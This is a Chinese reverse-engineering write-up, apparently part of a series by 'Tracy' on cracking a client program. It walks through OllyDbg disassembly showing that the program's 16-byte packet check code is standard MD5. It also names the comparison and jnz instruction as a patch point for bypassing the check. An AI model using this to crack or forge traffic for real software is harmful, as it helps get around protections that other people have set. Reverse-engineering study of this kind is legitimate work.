eax,0x3F 004065A4 |. 83F8 38 cmp eax,0x38 004065A7 |. 72 05 jb short 1_2_9破?004065AE 004065A9 |. B9 78000000 mov ecx,0x78 004065AE |> 2BC8 sub ecx,eax 004065B0 |. 51 push ecx 004065B1 |. 6820C94300 push 1_2_9破?0043C920 004065B6 |. 8BCE mov ecx,esi 004065B8 |. E8 33000000 call 1_2_9破?004065F0 004065BD |. 8D4C24 08 lea ecx,dword ptr ss:[esp+0x8] 004065C1 |. 6A08 push 0x8 004065C3 |. 51 push ecx 004065C4 |. 8BCE mov ecx,esi 004065C6 |. E8 25000000 call 1_2_9破?004065F0 004065CB |. 8B7C24 14 mov edi,dword ptr ss:[esp+0x14] 004065CF |. 8D564C lea edx,dword ptr ds:[esi+0x4C] 004065D2 |. 6A10 push 0x10 004065D4 |. 52 push edx 004065D5 |. 57 push edi 004065D6 |. 8BCE mov ecx,esi 004065D8 |. E8 53FFFFFF call 1_2_9破?00406530 004065DD |. 8BC7 mov eax,edi 004065DF |. 5F pop edi 004065E0 |. 5E pop esi 004065E1 |. 83C4 08 add esp,0x8 004065E4 \. C2 0400 retn 0x4 又发现了4个call,其中的第三个和第四个call为: …… 004065B8 |. E8 33000000 call 1_2_9破?004065F0 …… 004065C6 |. E8 25000000 call 1_2_9破?004065F0 怎么看起来那么眼熟呢?哦。004065F0不就是刚刚我们才分析用来进行MD5散列的函数么。那就是说,00405A60处的call就是对剩余的448个字节进行处理的。 那,我们且来看看它是怎么处理的吧。F7进入。跟到这里时,我们发现 ![]() 传入的arg1,就是我们接下来要处理的64个字节。也就对应于数据包中最后56个字节链接上1000000000,这在原理中也说过了。 我们知道00405AD0是用来进行MD5的,所以,直接F8步过。 接下来的跳转成功跳过,而后,进入第四个call,同样来到0040664F的时候,堆栈和数据窗口如下: ![]() 说明了什么呢,是按照前面的原理来的。 之后我们来到 ![]() 看到edx中保存的地址处对应的16个字节就是我们数据包中的3-18位,根据刚才的跟进也可以看到,他是在程序中生成的,而不是从数据包中复制过来的。 接下来的循环,是将这个生成的数值复制一下,结果如下: ![]() 为什么要这么做?可能是为了方便对比吧。接下来我们就看看对比处在哪。经历各种retn后,来到: 0040AB61 |. F3:A7 repe cmps dword ptr es:[edi],dword ptr ds:[esi] 这句代码,就是用来对生成的校验码进行对比的。而下面的那句jnz则可用做爆破点。(如果你想逐个研究数据包中每个功能的作用的话) 至此,整个16字节校验码分析完毕。 其实吧,在以前破解这个客户端到写这篇文章之前,我一直以为它用的是变形MD5加密,以至于我敲了很多变形md5加密,之后,今天一调试,发现是正常的MD5算法。 那,是什么误导了我呢?分析了下以前写的源代码,大概原因有两点: 1、 不知道MD5算法在当求与结果大于等于448时的处理情况。原理没弄清楚。 2、 当时用的是网上下载的一段MD5源代码,我放上数据包后,发现的到的结果不正确。(当然,也有可能是我没用好源代码) 总之,被自己骗了近一年了。既然说到变形MD5,也来聊聊什么是变形MD5吧。记得在看雪上看过一篇介绍变形MD5文章,大概有三种: 1、 改变初始幻数(0123456789ABCDEF那个) 2、 改变填充方式。如100000改为110000等。 3、 改变算法中用到的Mj后的数的值。(如FF(a,b,c,d,M0,7,0xd76aa478)中的0xd76aa478) 好吧,就写到这里了,后面大概也就还剩一个功能实现,和一个系统的编写,以及个人总结了。大概就两三章节的样子吧。 --Tracy 2013/11/17 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
勋章
兑换勋章
证书
证书查询 >
能力值












